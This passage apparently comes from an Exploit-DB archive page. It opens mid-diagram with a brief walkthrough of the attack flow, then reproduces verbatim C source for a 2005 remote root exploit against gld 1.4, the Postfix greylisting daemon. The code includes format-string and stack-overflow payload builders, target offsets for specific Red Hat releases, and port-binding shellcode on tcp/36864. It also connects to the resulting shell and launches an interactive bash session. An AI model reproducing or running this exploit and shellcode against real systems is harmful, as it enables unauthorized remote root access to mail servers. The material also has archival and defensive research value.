| +-----------------+
| |
| v
| +-----------------+
| | Reverse/Bind |
| | Shell to Port |
| | 36864 |
| +-----------------+
| ^
+---------------------------| (Interactive Shell)Explanation:
- The attacker's client sends a specially crafted payload.
- The vulnerable gld service receives this payload.
- The format string specifiers in the payload are processed.
- The
%nspecifier is used to write values to specific memory addresses (like.dtorspointers). - These overwritten pointers redirect program control.
- Execution jumps to the attacker-provided shellcode.
- The shellcode establishes a reverse or bind shell on a specific port (36864 in this case).
- The attacker can then connect to this port to gain an interactive shell.
For the buffer overflow exploit, the flow would involve overflowing a buffer to overwrite the return address on the stack, redirecting execution to shellcode placed within the overflowed buffer or elsewhere in memory.
Source references
- Paper ID: 934
- Paper Title: gld 1.4 - Postfix Greylisting Daemon Remote Format String
- **Author
Original Exploit-DB Content (Verbatim)
/*
**
**
** 0x82-meOw-linuxer_forever - gld 1.4 remote overflow format string exploit.
** (c) 2005 Team INetCop Security.
**
** Nickname of this code is,
** `Kill two bird with one stone.' or, `One shot, two kill!.'
** hehehe ;-D
**
** Advisory URL:
** http://x82.inetcop.org/h0me/adv1sor1es/INCSA.2005-0x82-026-GLD.txt
**
** It's as well as RedHat Linux and to gentoo, debian Linux, *BSD.
** You can develop for your flatform.
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
**
** P.S: My domain x82.i21c.net encountered compulsion withdrawal from the country.
** They are killing many hackers of the Korea. hehehe ;-p
**
*/
/*
**
** These days, the main issue that strikes Korea is small rocky island "Dokdo".
** You can get more detailed information from following websites.
**
** "Japanese goverment has to follow and learn from German goverment"
**
** I can confidently say "Dokdo is belong to Korea".
**
** (1) reference
**
** 1) Their claim that the East Sea has some historical precedent worked,
** as some major book and map publishers, educational web sites and other
** reference materials now include the East Sea name along with the Sea of Japan.
** - worldatlas.com-
**
** http://www.worldatlas.com/webimage/countrys/asia/eastsea.htm
**
** 2) On historical perspective and in international law, why there
** is no valid dispute over the ownership of Dokdo.
**
** http://www.prkorea.com/english/textbook/ge03.html
**
** 3)Truth in scholarship
**
** http://www.prkorea.com/english/textbook/maintruth.html
**
**
*/
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEF_HOST "localhost"
#define PORT 2525
struct os_t {
int number;
char *os_type;
unsigned long dtors_addr;
unsigned long shell;
int sflag;
};
struct os_t platform[]={
{
0,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (format string exploit)",
0x0804db98,0xbfffa3bc,15
},
{
1,"Red Hat Linux release 9 (Shrike) gld 1.4 (format string exploit)",
0x0804d14c,0x0805506e,15
},
{
2,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (buffer overflow exploit)",
0,0xbfffa5d8,300
},
{
/* jmp *%esp method */
3,"Red Hat Linux release 9 (Shrike) gld 1.4 (buffer overflow exploit)",
0,0x4212c5eb,254
},
{
4,NULL,0,0,0
}
};
int __debug_chk=0;
char t_atk[0xfff*3];
// This is lovable shellcode, that's sweet in linux platform.
char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89"
"\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89"
"\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89"
"\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
void banrl();
int make_bof_code(unsigned long shell,int size,int type);
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag);
int setsock(char *host,int port);
void usage(char *args);
void re_connt(int sock);
void conn_shell(int sock);
int main(int argc,char *argv[])
{
int sock,type=0;
int port=(PORT);
char host[256]=DEF_HOST;
int sflag=platform[type].sflag;
unsigned long retloc=platform[type].dtors_addr;
unsigned long shell=platform[type].shell;
(void)banrl();
while((sock=getopt(argc,argv,"DdF:f:R:r:S:s:H:h:T:t:Ii"))!=EOF) {
extern char *optarg;
switch(sock) {
case 'D':
case 'd':
__debug_chk=1;
break;
case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;
case 'S':
case 's':
shell=strtoul(optarg,NULL,0);
break;
case 'F':
case 'f':
sflag=atoi(optarg);
break;
case 'H':
case 'h':
memset((char *)host,0,sizeof(host));
strncpy(host,optarg,sizeof(host)-1);
break;
case 'T':
case 't':
type=atoi(optarg);
if(type>=4){
(void)usage(argv[0]);
} else {
retloc=platform[type].dtors_addr;
shell=platform[type].shell;
sflag=platform[type].sflag;
}
break;
case 'I':
case 'i':
(void)usage(argv[0]);
break;
case '?':
fprintf(stderr,"Try `%s -i' for more information.\n\n",argv[0]);
exit(-1);
break;
}
}
fprintf(stdout," #\n # target host: %s:%d\n",host,port);
fprintf(stdout," # type: %s\n",platform[type].os_type);
switch(type)
{
case 0:
case 1:
(int)make_fmt_code(retloc,shell,sflag);
break;
case 2:
(int)make_bof_code(shell,sflag,0);
break;
case 3:
(int)make_bof_code(shell,sflag,1);
}
fprintf(stdout," # send code size: %d byte\n",strlen(t_atk));
sock=setsock(host,port);
(void)re_connt(sock);
if(__debug_chk) sleep(10);
send(sock,t_atk,strlen(t_atk),0);
close(sock);
fprintf(stdout," #\n # Waiting rootshell, Trying %s:36864 ...\n",host);
sleep(1);
sock=setsock(host,36864);
(void)re_connt(sock);
fprintf(stdout," # connected to %s:36864 !\n #\n\n",host);
(void)conn_shell(sock);
}
int make_bof_code(unsigned long shell,int size,int type)
{
int a,b;
char nop_shell[8192];
char code_buf[4096];
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)code_buf,0,sizeof(code_buf));
memset((char *)t_atk,0,sizeof(t_atk));
switch(type)
{
case 0:
fprintf(stdout," # method: normal overflow exploit: %d byte\n",size);
/* sender buffer = nop, shellcode */
for(a=0;a<1000-strlen(shellcode);a++)
nop_shell[a]='N';
for(b=0;b<strlen(shellcode);b++)
nop_shell[a++]=shellcode[b];
/* client_address = retaddr */
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=shell;
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
break;
case 1:
fprintf(stdout," # method: jmp *%%esp exploit: %d byte\n",size);
/* sender buffer */
for(a=0;a<1000;a++)
nop_shell[a]='N';
/* client_address buffer */
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=0x82828282;
/* ebp */
*(long *)&code_buf[b]=0x41414141;
b+=4;
/* eip (jmp *%esp) */
*(long *)&code_buf[b]=(shell);
b+=4;
/* jmp nop (0xeb,0x08) */
*(long *)&code_buf[b]=0x08eb08eb;
b+=4;
/* dummy, nop */
// 0x0804d280 0xbfffe1c8 0x08049521
*(long *)&code_buf[b]=0x0804d280;
b+=4;
*(long *)&code_buf[b]=0x90909090;//0xbfffe1c8;
b+=4;
*(long *)&code_buf[b]=0x90909090;//0x08049521;
b+=4;
*(long *)&code_buf[b]=0x90909090;
b+=4;
/* shellcode */
for(a=0;a<strlen(shellcode);a++)
code_buf[b++]=shellcode[a];
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
}
}
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag)
{
unsigned char header[256];
unsigned char nop_shell[8192];
int a,b,c,d,e,f;
int addr1,addr2,addr3,addr4;
a=b=c=d=e=f=addr1=addr2=addr3=addr4=0;
memset((char *)header,0,sizeof(header));
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)t_atk,0,sizeof(t_atk));
fprintf(stdout," # Make format string, .dtors: %p\n",retloc);
*(long *)&header[0]=retloc+0;
*(long *)&header[4]=retloc+1;
*(long *)&header[8]=retloc+2;
*(long *)&header[12]=retloc+3;
a=(shell>>24)&0xff;
addr1=(shell>>24)&0xff;
b=(shell>>16)&0xff;
addr2=(shell>>16)&0xff;
c=(shell>>8)&0xff;
addr3=(shell>>8)&0xff;
d=(shell>>0)&0xff;
addr4=(shell>>0)&0xff;
if((addr4-16-65)<10)d+=0x100;
if((addr3-addr4)<10)c+=0x100;
if((addr2-addr3)<10)b+=0x100;
for(e=0;e<320-strlen(shellcode);e++)
nop_shell[e]='N';
for(f=0;f<strlen(shellcode);f++)
nop_shell[e++]=shellcode[f];
fprintf(stdout," #\n # shellcode addr: %p, size: %d byte\n",shell,strlen(nop_shell));
snprintf(t_atk,sizeof(t_atk)-1,
"client_address=%s" /* header */
"%%%ux%%%d$n%%%ux%%%d$n%%%ux%%%d$n%%%ux%%%d$n" /* fmt code */
"%s\r\n\r\n", /* shellcode */
header,d-16-65,(sflag+0),c-addr4,(sflag+1),b-addr3,
(sflag+2),0x100+a-addr2,(sflag+3),nop_shell);
}
void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stdout," #\n # Failed.\n");
fprintf(stdout," # Happy Exploit ! :-)\n #\n\n");
exit(-1);
}
}
int setsock(char *host,int port)
{
int sock;
struct hostent *he;
struct sockaddr_in x82_addr;
if((he=gethostbyname(host))==NULL)
{
herror(" # gethostbyname() error");
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
{
perror(" # socket() error");
return(-1);
}
x82_addr.sin_family=AF_INET;
x82_addr.sin_port=htons(port);
x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
bzero(&(x82_addr.sin_zero),8);
if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)
{
perror(" # connect() error");
return(-1);
}
return(sock);
}
void conn_shell(int sock)
{
int pckt;
char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n";
char rbuf[1024];
fd_set rset;
memset((char *)rbuf,0,1024);
fprintf(stdout," #\n # Kill two bird with one stone!\n");
fprintf(stdout," # OK, It's Rootshell\n #\n\n");
send(sock,cmd,strlen(cmd),0);
while(1)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
pckt=read(sock,rbuf,1024);
if(pckt<=0)
{
fprintf(stdout," #\n # Happy Exploit !\n #\n\n");
exit(0);
}
rbuf[pckt]=0;
printf("%s",rbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
pckt=read(STDIN_FILENO,rbuf,1024);
if(pckt>0)
{
rbuf[pckt]=0;
write(sock,rbuf,pckt);
}
}
}
return;
}
void banrl()
{
fprintf(stdout,"\n #\n # 0x82-meOw_linuxer_forever -
Greylisting daemon for Postfix remote exploit\n");
fprintf(stdout," # szoahc(at)hotmail(dot)com\n #\n\n");
}
void usage(char *args)
{
int i;
fprintf(stdout," Usage: %s -options arguments\n\n",args);
fprintf(stdout,"\t-r [retloc] - .dtors address.\n");
fprintf(stdout,"\t-s [shell] - shellcode address.\n");
fprintf(stdout,"\t-f [flag num] - $-flag count.\n");
fprintf(stdout,"\t-h [host] - target hostname.\n");
fprintf(stdout,"\t-t [type num] - target number.\n");
fprintf(stdout,"\t-i - help information.\n\n");
fprintf(stdout," - Target Type Number List -\n\n");
for(i=0;platform[i].os_type!=NULL;i++)
{
fprintf(stdout," {%d} : %s\n",i,platform[i].os_type);
}
fprintf(stdout,"\n Example: %s -t 0 -h localhost\n",args);
fprintf(stdout," Example: %s -r 0x82828282 -s 0x82828282 -f 15\n\n",args);
exit(0);
}
// milw0rm.com [2005-04-13]